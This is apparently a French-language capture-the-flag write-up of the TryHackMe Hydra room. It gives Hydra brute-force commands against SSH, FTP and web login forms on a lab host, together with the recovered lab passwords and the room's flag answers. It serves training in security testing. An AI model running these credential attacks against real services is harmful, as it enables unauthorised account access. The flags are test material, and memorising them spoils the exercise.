TryHackMe - Hydra
Write-up de la room Hydra qui nous apprendra à manier cet outil de brute force de mots de passe
Informations sur la room
Découvrez et utilisez Hydra, un pirate de connexion réseau rapide, pour forcer brutalement et obtenir les informations d’identification d’un site Web.
Lien : Hydra
Objectifs d’apprentissage
Cette room couvre les compétences suivantes :
- Utilisation de l’outil Hydra pour les attaques par force brute
Solutions des tâches
Task 1 - Hydra Introduction
Hydra est un programme de piratage de mot de passe en ligne par force brute, un outil de craquage rapide de mots de passe pour les systèmes de connexion.
Hydra peut parcourir une liste de mots de passe et forcer brutalement certains services d’authentification. Imaginez devoir essayer manuellement de deviner le mot de passe de quelqu’un sur un service particulier (SSH, formulaire web, FTP ou SNMP). Nous pouvons utiliser Hydra pour parcourir automatiquement une liste de mots de passe et accélérer considérablement ce processus, en déterminant le mot de passe correct.
Selon son référentiel officiel, Hydra prend en charge, c’est-à-dire a la capacité de forcer brutalement les protocoles suivants :
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco activate, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTPS-POST, Proxy HTTP, ICQ, IMAP, IRC, LDAP, MEMCACHED, MONGODB, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, Radmin, RDP, Rexec, Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 et v2), SSHKEY, Subversion, TeamSpeak (TS2), Telnet, VMware-Auth, VNC et XMPP.
Cela montre l’importance d’utiliser un mot de passe fort. Si votre mot de passe est commun, ne contient pas de caractères spéciaux et ne dépasse pas huit caractères, il sera facilement deviné. Des listes de mots de passe contenant des centaines de millions d’entrées existent et contiennent les mots de passe les plus courants. Ainsi, lorsqu’une application utilise un mot de passe simple par défaut pour se connecter, il est crucial de le modifier ! Les caméras de vidéosurveillance et les frameworks Web utilisent souvent admin:password comme identifiants de connexion par défaut, ce qui n’est évidemment pas assez fort.
Task 2 - Using Hydra
Les commandes principales d’Hydra
Les options que nous transmettons à Hydra dépendent du service (protocole) que nous attaquons. Par exemple, si nous voulions forcer brutalement FTP avec le nom d’utilisateur user et une liste de mots de passe passlist.txt, nous utiliserions la commande suivante :
1
hydra -l user -P passlist.txt ftp://10.10.170.146
SSH
Pour attaquer un service SSH, voici la syntaxe de base :
1
hydra -l <username> -P <full path to pass> 10.10.170.146 -t 4 ssh
Explication des options :
-lspécifie le nom d’utilisateur pour la connexion SSH-Pindique le chemin vers la liste de mots de passe-tdéfinit le nombre de threads à générer (connexions parallèles)
Voici un exemple complet :
1
hydra -l root -P passwords.txt 10.10.170.146 -t 4 ssh
Dans cet exemple :
- Hydra utilisera
rootcomme nom d’utilisateur pour SSH - Il essaiera les mots de passe dans le fichier
passwords.txt - Il y aura quatre threads exécutés en parallèle comme indiqué par
-t 4
Formulaire Web POST
Nous pouvons également utiliser Hydra pour forcer brutalement les formulaires Web. Vous devez savoir quel type de requête il effectue : les méthodes GET ou POST sont couramment utilisées. Vous pouvez utiliser l’onglet réseau de votre navigateur (dans les outils de développement) pour voir les types de requêtes ou consulter le code source.
Voici comment utiliser Hydra pour le web :
1
sudo hydra <username> <wordlist> 10.10.170.146 http-post-form "<path>:<login_credentials>:<invalid_response>"
Explication des paramètres :
-lle nom d’utilisateur pour la page web-Pla liste de mots de passehttp-post-formindique que le type du formulaire est POST<path>l’URL de login, par exemplelogin.php<login_credentials>le format des paramètres de connexion, par exempleusername=^USER^&password=^PASS^<invalid_response>une partie de la réponse lorsque la connexion échoue-Vactive la sortie détaillée pour chaque tentative
Voici un exemple plus concret de commande Hydra pour forcer brutalement un formulaire de connexion POST :
1
hydra -l <username> -P <wordlist> 10.10.170.146 http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V
Détail de la commande :
- La page de connexion est uniquement
/, c’est-à-dire l’adresse IP principale - Le
usernameest le nom du champ du formulaire dans lequel le nom d’utilisateur est saisi - Le ou les noms d’utilisateur spécifiés remplaceront
^USER^ - Le
passwordest le nom du champ du formulaire dans lequel le mot de passe est saisi - Les mots de passe fournis remplaceront
^PASS^ - Enfin,
F=incorrectest une chaîne qui apparaît dans la réponse du serveur lorsque la connexion échoue
Use Hydra to bruteforce molly’s web password. What is flag 1?
Voici la commande Hydra que j’ai adaptée pour cette machine :
1
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.170.146 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V
J’ai mis /login car le formulaire de connexion se trouve à cette adresse.
La commande nous révèle que le mot de passe de molly est : sunshine
Ensuite, on se connecte sur le site web avec ces identifiants pour récupérer le flag.
Réponse : THM{2673a7dd116de68e85c48ec0b1f2612e}
Use Hydra to bruteforce molly’s SSH password. What is flag 2?
On fait la même chose mais avec la méthode SSH :
1
hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.170.146 -t 4 ssh
Le mot de passe trouvé est : butterfly
Ensuite on se connecte en SSH avec ces identifiants et on lit le contenu du fichier flag.txt :
1
2
ssh molly@10.10.170.146
cat flag.txt
Réponse : THM{c8eeb0468febbadea859baeb33b2541b}
Room Complétée
